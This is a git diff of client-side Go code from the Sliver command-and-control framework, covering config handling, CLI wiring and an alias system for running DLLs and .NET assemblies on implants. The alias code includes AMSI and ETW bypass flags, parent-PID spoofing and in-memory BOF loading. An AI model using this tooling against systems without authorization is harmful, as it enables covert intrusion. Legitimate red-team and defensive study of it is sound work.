log.Printf("Failed to write config to: %s (%v)", saveTo, err)
return err
-65
View File
@@ -1,65 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := os.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+16
View File
@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
+3 -12
View File
@@ -20,7 +20,7 @@ package assets
import (
"encoding/json"
"os"
"io/ioutil"
"path/filepath"
)
@@ -33,17 +33,12 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
UserConnect bool `json:"user_connect"`
ConsoleLogs bool `json:"console_logs"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
@@ -60,10 +55,6 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
ConsoleLogs: true,
}
}
@@ -77,6 +68,6 @@ func SaveSettings(settings *ClientSettings) error {
if err != nil {
return err
}
err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
return err
}
+43 -31
View File
@@ -24,23 +24,27 @@ import (
"os"
"path"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
)
const (
logFileName = "sliver-client.log"
)
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
var (
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
)
// Initialize logging
func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
if err != nil {
panic(fmt.Sprintf("[!] Error opening file: %s", err))
}
@@ -49,43 +53,51 @@ func initLogging(appDir string) *os.File {
}
func init() {
rootCmd.TraverseChildren = true
// Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of
// the same underlying command/run infrastructure.
con := console.NewConsole(false)
// Import
rootCmd.AddCommand(importCmd())
rootCmd.AddCommand(cmdImport)
// Version
rootCmd.AddCommand(cmdVersion)
// Client console.
// All commands and RPC connection are generated WITHIN the command RunE():
// that means there should be no redundant command tree/RPC connections with
// other command trees below, such as the implant one.
rootCmd.AddCommand(consoleCmd(con))
// Implant.
// The implant command allows users to run commands on slivers from their
// system shell. It makes use of pre-runners for connecting to the server
// and binding sliver commands. These same pre-runners are also used for
// command completion/filtering purposes.
rootCmd.AddCommand(implantCmd(con))
// No subcommand invoked means starting the console.
rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
// Completions
carapace.Gen(rootCmd)
}
var rootCmd = &cobra.Command{
Use: "sliver-client",
Short: "",
Long: ``,
Run: func(cmd *cobra.Command, args []string) {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
os.Args = os.Args[:1] // Stops grumble from complaining
err := StartClientConsole()
if err != nil {
fmt.Printf("[!] %s\n", err)
}
},
}
// StartClientConsole - Start the client console
func StartClientConsole() error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
defer ln.Close()
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
}
// Execute - Execute root command
+2
View File
@@ -28,6 +28,7 @@ import (
)
func selectConfig() *assets.ClientConfig {
configs := assets.GetConfigs()
if len(configs) == 0 {
@@ -52,6 +53,7 @@ func selectConfig() *assets.ClientConfig {
}
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
keys := []string{}
for k := range configs {
keys = append(keys, k)
-73
View File
@@ -1,73 +0,0 @@
package cli
import (
"fmt"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
)
// consoleCmd generates the console with required pre/post runners
func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
consoleCmd := &cobra.Command{
Use: "console",
Short: "Start the sliver client console",
}
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
return consoleCmd
}
func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
var ln *grpc.ClientConn
pre = func(_ *cobra.Command, _ []string) error {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
config := selectConfig()
if config == nil {
return nil
}
// Don't clobber output when simply running an implant command from system shell.
if run {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
}
var rpc rpcpb.SliverRPCClient
var err error
rpc, ln, err = transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
}
// Close the RPC connection once exiting
post = func(_ *cobra.Command, _ []string) error {
if ln != nil {
return ln.Close()
}
return nil
}
return pre, post
}
-76
View File
@@ -1,76 +0,0 @@
package cli
import (
"errors"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
)
func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
con.IsCLI = true
makeCommands := command.SliverCommands(con)
cmd := makeCommands()
cmd.Use = constants.ImplantMenu
// Flags
implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
implantFlags.StringP("use", "s", "", "interact with a session")
cmd.Flags().AddFlagSet(implantFlags)
// Prerunners (console setup, connection, etc)
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
// Completions
makeCompleters(cmd, con)
return cmd
}
func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
startConsole, closeConsole := consoleRunnerCmd(con, false)
// The pre-run function connects to the server and sets up a "fake" console,
// so we can have access to active sessions/beacons, and other stuff needed.
pre = func(_ *cobra.Command, args []string) error {
startConsole(implantCmd, args)
// Set the active target.
target, _ := implantCmd.Flags().GetString("use")
if target == "" {
return errors.New("no target implant to run command on")
}
session := con.GetSession(target)
if session != nil {
con.ActiveTarget.Set(session, nil)
}
return nil
}
return pre, closeConsole
}
func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
comps := carapace.Gen(cmd)
comps.PreRun(func(cmd *cobra.Command, args []string) {
cmd.PersistentPreRunE(cmd, args)
})
// Bind completers to flags (wrap them to use the same pre-runners)
command.FlagComps(cmd, func(comp *carapace.ActionMap) {
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
cmd.PersistentPreRunE(cmd, c.Args)
return use.SessionIDCompleter(con)
})
})
}
+17 -28
View File
@@ -22,37 +22,26 @@ import (
"fmt"
"os"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/spf13/cobra"
)
func importCmd() *cobra.Command {
cmdImport := &cobra.Command{
Use: "import",
Short: "Import a client configuration file",
Long: `import [config files]`,
Run: func(cmd *cobra.Command, args []string) {
if 0 < len(args) {
for _, arg := range args {
conf, err := assets.ReadConfig(arg)
if err != nil {
fmt.Printf("[!] %s\n", err)
os.Exit(3)
}
assets.SaveConfig(conf)
var cmdImport = &cobra.Command{
Use: "import",
Short: "Import a client configuration file",
Long: `import [config files]`,
Run: func(cmd *cobra.Command, args []string) {
if 0 < len(args) {
for _, arg := range args {
conf, err := assets.ReadConfig(arg)
if err != nil {
fmt.Printf("[!] %s\n", err)
os.Exit(3)
}
} else {
fmt.Printf("Missing config file path, see --help")
assets.SaveConfig(conf)
}
},
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
return []string{}, cobra.ShellCompDirectiveDefault
},
}
carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
return cmdImport
} else {
fmt.Printf("Missing config file path, see --help")
}
},
}
+1 -2
View File
@@ -21,9 +21,8 @@ package cli
import (
"fmt"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
)
var cmdVersion = &cobra.Command{
-11
View File
@@ -1,11 +0,0 @@
Alias
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
-141
View File
@@ -1,141 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"os"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// AliasesCmd - The alias command
func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
return nil
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := os.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := []string{}
for name := range loadedAliases {
results = append(results, name)
}
return carapace.ActionValues(results...).Tag("aliases")
})
}
-90
View File
@@ -1,90 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
-178
View File
@@ -1,178 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
aliasLocalPath := args[0]
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("Error creating alias directory: %s\n", err)
return
}
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("Failed to create alias directory: %s\n", err)
return nil
}
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = os.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-538
View File
@@ -1,538 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
app "github.com/reeflective/console"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *cobra.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0]
// dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, cmd.Root(), con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
data, err := os.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &cobra.Command{
Use: aliasManifest.CommandName,
Short: helpMsg,
Long: longHelpMsg,
Run: func(cmd *cobra.Command, args []string) {
runAliasCommand(cmd, con, args)
},
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
GroupID: consts.AliasHelpGroup,
Annotations: makeAliasPlatformFilters(aliasManifest),
}
if aliasManifest.IsAssembly {
f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
addAliasCmd.Flags().AddFlagSet(f)
}
f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
f.StringP("process", "p", "", "Path to process to host the shared object")
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.BoolP("save", "s", false, "Save output to disk")
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
addAliasCmd.Flags().AddFlagSet(f)
cmd.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[cmd.Name()]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
// args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
